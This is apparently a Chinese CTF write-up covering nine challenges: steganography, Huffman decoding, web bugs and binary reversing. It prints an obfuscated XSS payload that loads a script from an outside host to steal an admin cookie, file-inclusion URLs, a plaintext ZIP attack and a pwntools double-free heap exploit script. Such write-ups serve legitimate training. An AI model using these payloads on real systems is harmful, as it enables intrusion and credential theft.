先水幾句,這次的題確實難啊,動用洪荒之力了,第一名的神仙也沒有全部做完。
官方說這次的題目有兩道沒被做出來,我猜應該是PWN和RE吧
本來我們是45名的,最后5分鐘那幫人啊,硬生生給我們擠出前50,我都想砸電腦了,
后來官方又說前65名成功獲得參賽資格,我去!又活了,但是無奈前50只刷掉幾個隊伍,
還是很遺憾沒有進線下賽,本菜雞盡力了,唉,下面進入正題
?
?
?
?
?
?
?
?
?
?
?
?
一、奇怪的TTL字段
TTL了解一下:TTL是 Time To Live的縮寫,該字段指定IP包被路由器丟棄之前允許通過的最大網段數量。TTL是IPv4包頭的一個8 bit字段。TTL的作用是限制IP數據包在計算機網絡中的存在的時間。TTL的最大值是255,TTL的一個推薦值是64。
打開文本,發現TTL值一直是在127、191、63、255這四個值中選,
Hint:提取TTL值
將這四個值轉換為二進制之后,發現后六位都是1
?
轉換為八位二進制,提取前兩位,然后轉hex發現有了jpeg的頭,于是將hex值寫入文件
?
提取出來的img是一個殘缺的二維碼
?????????? 放到stegosolver 看圖層,
?
畫圖拼接
?
?
根據字面意思得知flag是自動密鑰密碼
在線破解:https://www.wishingstarmoye.com/ctf/autokey
?
?
?
二、哈夫曼之謎
這題我是手工構建哈夫曼樹解出的編碼,
不會寫哈夫曼算法的程序,后來在網上找的
#include <stdio.h> #include <stdlib.h> #include <string.h>typedef int ELEMTYPE;// 哈夫曼樹結點結構體 typedef struct HuffmanTree {ELEMTYPE weight;ELEMTYPE id; // id用來主要用以區分權值相同的結點,這里代表了下標struct HuffmanTree* lchild;struct HuffmanTree* rchild; }HuffmanNode;// 構建哈夫曼樹 HuffmanNode* createHuffmanTree(int* a, int n) {int i, j;HuffmanNode **temp, *hufmTree;temp = malloc(n*sizeof(HuffmanNode));for (i = 0; i<n; ++i) // 將數組a中的權值賦給結點中的weight {temp[i] = (HuffmanNode*)malloc(sizeof(HuffmanNode));temp[i]->weight = a[i];temp[i]->id = i;temp[i]->lchild = temp[i]->rchild = NULL;}for (i = 0; i<n - 1; ++i) // 構建哈夫曼樹需要n-1合并 {int small1 = -1, small2; // small1、small2分別作為最小和次小權值的下標for (j = 0; j<n; ++j) // 先將最小的兩個下標賦給small1、small2(注意:對應權值未必最小) {if (temp[j] != NULL && small1 == -1){small1 = j;continue;}else if (temp[j] != NULL){small2 = j;break;}}for (j = small2; j<n; ++j) // 比較權值,挪動small1和small2使之分別成為最小和次小權值的下標 {if (temp[j] != NULL){if (temp[j]->weight < temp[small1]->weight){small2 = small1;small1 = j;}else if (temp[j]->weight < temp[small2]->weight){small2 = j;}}}hufmTree = (HuffmanNode*)malloc(sizeof(HuffmanNode));hufmTree->weight = temp[small1]->weight + temp[small2]->weight;hufmTree->lchild = temp[small1];hufmTree->rchild = temp[small2];temp[small1] = hufmTree;temp[small2] = NULL;}free(temp);return hufmTree; }// 以廣義表的形式打印哈夫曼樹 void PrintHuffmanTree(HuffmanNode* hufmTree) {if (hufmTree){printf("%d", hufmTree->weight);if (hufmTree->lchild != NULL || hufmTree->rchild != NULL){printf("(");PrintHuffmanTree(hufmTree->lchild);printf(",");PrintHuffmanTree(hufmTree->rchild);printf(")");}} }// 遞歸進行哈夫曼編碼 void HuffmanCode(HuffmanNode* hufmTree, int depth) // depth是哈夫曼樹的深度 {static int code[100];if (hufmTree){if (hufmTree->lchild == NULL && hufmTree->rchild == NULL){printf("id為%d權值為%d的葉子結點的哈夫曼編碼為 ", hufmTree->id, hufmTree->weight);int i;for (i = 0; i<depth; ++i){printf("%d", code[i]);}printf("\n");}else{code[depth] = 0;HuffmanCode(hufmTree->lchild, depth + 1);code[depth] = 1;HuffmanCode(hufmTree->rchild, depth + 1);}} }// 哈夫曼解碼 void HuffmanDecode(char ch[], HuffmanNode* hufmTree, char string[]) // ch是要解碼的01串,string是結點對應的字符 {int i;int num[500];HuffmanNode* tempTree = NULL;for (i = 0; i<strlen(ch); ++i){if (ch[i] == '0')num[i] = 0;elsenum[i] = 1;}if (hufmTree){i = 0; // 計數已解碼01串的長度while (i<strlen(ch)){tempTree = hufmTree;while (tempTree->lchild != NULL && tempTree->rchild != NULL){if (num[i] == 0){tempTree = tempTree->lchild;}else{tempTree = tempTree->rchild;}++i;}printf("%c", string[tempTree->id]); // 輸出解碼后對應結點的字符 }} }int main() {int i, n;printf("請輸入葉子結點的個數:\n");while (1){scanf("%d", &n);if (n>1)break;elseprintf("輸入錯誤,請重新輸入n值!");}int* arr;arr = (int*)malloc(n*sizeof(ELEMTYPE));printf("請輸入%d個葉子結點的權值:\n", n);for (i = 0; i<n; ++i){scanf("%d", &arr[i]);}char ch[500], string[500];printf("請連續輸入這%d個葉子結點各自所代表的字符:\n", n);fflush(stdin); // 強行清除緩存中的數據,也就是上面輸入權值結束時的回車符gets(string);HuffmanNode* hufmTree = NULL;hufmTree = createHuffmanTree(arr, n);printf("此哈夫曼樹的廣義表形式為:\n");PrintHuffmanTree(hufmTree);printf("\n各葉子結點的哈夫曼編碼為:\n");HuffmanCode(hufmTree, 0);printf("要解碼嗎?請輸入編碼:\n");gets(ch);printf("解碼結果為:\n");HuffmanDecode(ch, hufmTree, string);printf("\n");free(arr);free(hufmTree);return 0; }
?
?
編譯后,上面是哈夫曼編碼,下面是結點對應的權重值
上面的c程序是在網上找的,跑出字母對應的編碼
????? ????? a:4?????? 000
????? ????? g:1????? 00100
????? ????? l:1??????? 00101
????? ????? {:1?????? 00110
????? ????? }:1?????? 00111
????? ????? d:9????? 01
????? ????? 5:9????? 10
????? ????? f:5?????? 110
????? ????? 0:7????? 111
f}alg55fd5f50f0ddd0d00adafdd5505d50a5{
fla}g55fd5f50f0ddd0d00adafdd5505d50a5{
flag}55fd5f50f0ddd0d00adafdd5505d50a5{
flag{55fd5f50f0ddd0d00adafdd5505d50a5}
?
?
因為很多節點的權值相同,所以出來的格式有問題,不斷轉換相同權值的節點就可以得到flag格式:
flag{55fd5f50f0ddd0d00adafdd5505d50a5}
?小伙伴們為什么會提交失敗呢,因為你們只注意到有四個權值是1的節點,沒發現5和d的權值都是9,
將上面的字符串5和d互相轉換就行啦
?
三、猜猜flag是什么
1.進入頁面,提示要先拿到兌換碼
?
?
2.掃描
git clone?https://github.com/lijiejie/ds_store_exp.git
python ds_store_exp.py?http://61.164.47.198:10002/.DS_Store
[+]??http://61.164.47.198:10002/yingyingying/.DS_Store
[+]?http://61.164.47.198:10002/index.php/.DS_Store
[+]?http://61.164.47.198:10002/e10adc3949ba59abbe56e057f20f883e
[+]?http://61.164.47.198:10002/flag
[+]?http://61.164.47.198:10002/yingyingying/index.html
,發現根目錄下有.DS_Store泄露:http://61.164.47.198:10002/.DS_Store,
也可以XSS彈出hint,payload:http://61.164.47.198:10002/?name=%253Cscript%253Ealert%25281%2529%253C/script%253E
訪問http://ctf1.linkedbyx.com:10442/e10adc3949ba59abbe56e057f20f883e/后,然后發現頁面確實啥也沒有,嘗試圖片是否隱寫了信息后無果
?
會不會是是個.git泄露,githack,找到壓縮包BackupForMySite.zip,
?
發現有密碼,利用明文攻擊,(有時候解不出是因為壓縮軟件的算法不同,這里我用bandzip,也可以通過Linux的zip命令打包
zip -r xxx.zip ./*
解壓zip文件到當前目錄
unzip filename.zip
)
?
得到內容:
?
?
?
php_mt_seed提交隨機數:$ time ./php_mt_seed? 你的隨機數得到數字,然后訪問/flag/得到的數字.txt之后拿到flag
?
?
這是作者給的readme
?
?
四、babyt3
從網頁看出應該是文件包含漏洞include[file],
掃描:
?
得到一個dir.php
訪問:
http://ctf2.linkedbyx.com:10740/?file=php://filter/read=convert.base64-encode/resource=dir.php
得到一個base64:
PD9waHAKJGEgPSBAJF9HRVRbJ2RpciddOwppZighJGEpewokYSA9ICcvdG1wJzsKfQp2Y XJfZHVtcChzY2FuZGlyKCRhKSk7Cg==
解密得:
<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));
構造payload:
http://ctf2.linkedbyx.com:10740/?file=../../../ffffflag_1s_Her4
得到base加密的flag,解密提交
五、Breakout
進去看到留言板,聯想到XSS攻擊
?
留言板觸發XSS
<img src=x οnerrοr=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwczovL3hzc3B0LmNvbS9iUTUwS1Y/JytNYXRoLnJhbmRvbSgp'))>
?
寫腳本過驗證碼,nc遠程服務器,打到管理員cookie:
PHPSESSID=rctb5bdpjja3t48ekjjtu8knu3;%20token=ISMvKXpXpadDiUoOSoAfww==;%20admin=admin_!@@!_admin_admin_hhhhh?HTTP/1.1
?
服務器端Getshell,最后反彈shell成功后,flag在根目錄下
六、最短路徑題
BFS算法,手算的話,一共92個元素,一個一個找最后拼到一起也能做出來
七、story
有點像網鼎杯改編的題目;
1,
單看保護還好
2,應該是double free/Unlink漏洞:需要建立至少三個堆,通過修改第二個chunk的內容在第二個chunk中偽造了一個空閑chunk開始為偽造chunk的內容。如過此時想要free chunk3那么要進入unlink則需要使unlink函數認為偽chunk是空閑的并繞過檢查。所以首先通過溢出將第三個chunk的prev_size字段修改為0x30并將size字段的P字段修改為0即0x90那么此時就可以繞過。
3,然后用修改data,獲取權限;
4,最后上腳本。
#!/usr/bin/env python# coding=utf-8from pwn import *debug = 0local = 0context.terminal=["tmux","splitw","-h"]if local:a=process("./noinfoleak")libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")else:a=remote("ctf1.linkedbyx.com","10346")libc=ELF("./libc.so.6")if debug:gdb.attach(a,''' b *0x4009DC ''') # b *0x400A1Eelf=ELF("./noinfoleak")def menu(index):a.recvuntil(">")a.sendline(str(index))def create(size,content):menu(1)a.recvuntil(">")a.sendline(str(size))a.recvuntil(">")a.send(content)def delete(index):menu(2)a.recvuntil(">")a.sendline(str(index))def edit(index,content):menu(3)a.recvuntil(">")a.sendline(str(index))a.recvuntil(">")a.send(content)#double free#size addr = 0x601002 a.recv()a.sendline("5")#puts 延遲綁定create(0x50,"aaa")#index 0create(0x40,"aa")#index 1create(0x40,"asaa")#index 2delete(1)delete(2)delete(1)create(0x40,p64(0x6010A0))#index 3create(0x40,"a")#index 4create(0x40,"a")#index 5read_got=0x000000000601048payload=read_gotcreate(0x40,p64(payload))#index 6 ,0x6010b0: 0x0000000000601058 0x0000000000000040# index 1 , ptr = malloc gotcreate(0x50,"aaaaaaaa")#index 7create(0x50,"bbbbbbbb")#index 8delete(7)delete(8)delete(7)fake_chunk_addr=0x601002-0x8create(0x50,p64(fake_chunk_addr))#index 9create(0x50,"aaa")#index 10create(0x50,"aaa")#index 11puts_plt=elf.plt["puts"]#00 00 00 00 00#0x601002-0x8+0x10payload='\x00'*14+p64(puts_plt)create(0x50,payload) #index 12delete(1)#double free ,修改data段。read_addr=u64(a.recvuntil("\n",drop=True).ljust(8,"\x00"))success("read address ==> 0x%x"%read_addr)libc_base=read_addr -libc.symbols["read"]one_gadget=libc_base+0xf1147edit(1,p64(one_gadget))a.recv()a.sendline("30")a.interactive()
?
8、easycpp
靜態分析后,發現要輸入16個數。放入IDA,輸入1-16測試關鍵跳轉
?
定位到rsi和rdi,發現rsi是斐波那契數列
?
再看rdi,找到與輸入的字符串的規律
?
腳本跑flag(11不變,后面的值遞歸加上11,逆置,與斐波那契數列對比)
9、Testre
扔到IDA,看字符串,好像是base64
?
但是2345678ABCD。。。長度是58,考慮一下base58
?
字符串比較結合動態調試
得到一個base58,
解密
?
?
?
?
?
?
?
?
什么都沒有了,還看,快去點關注
?
?
?
?
?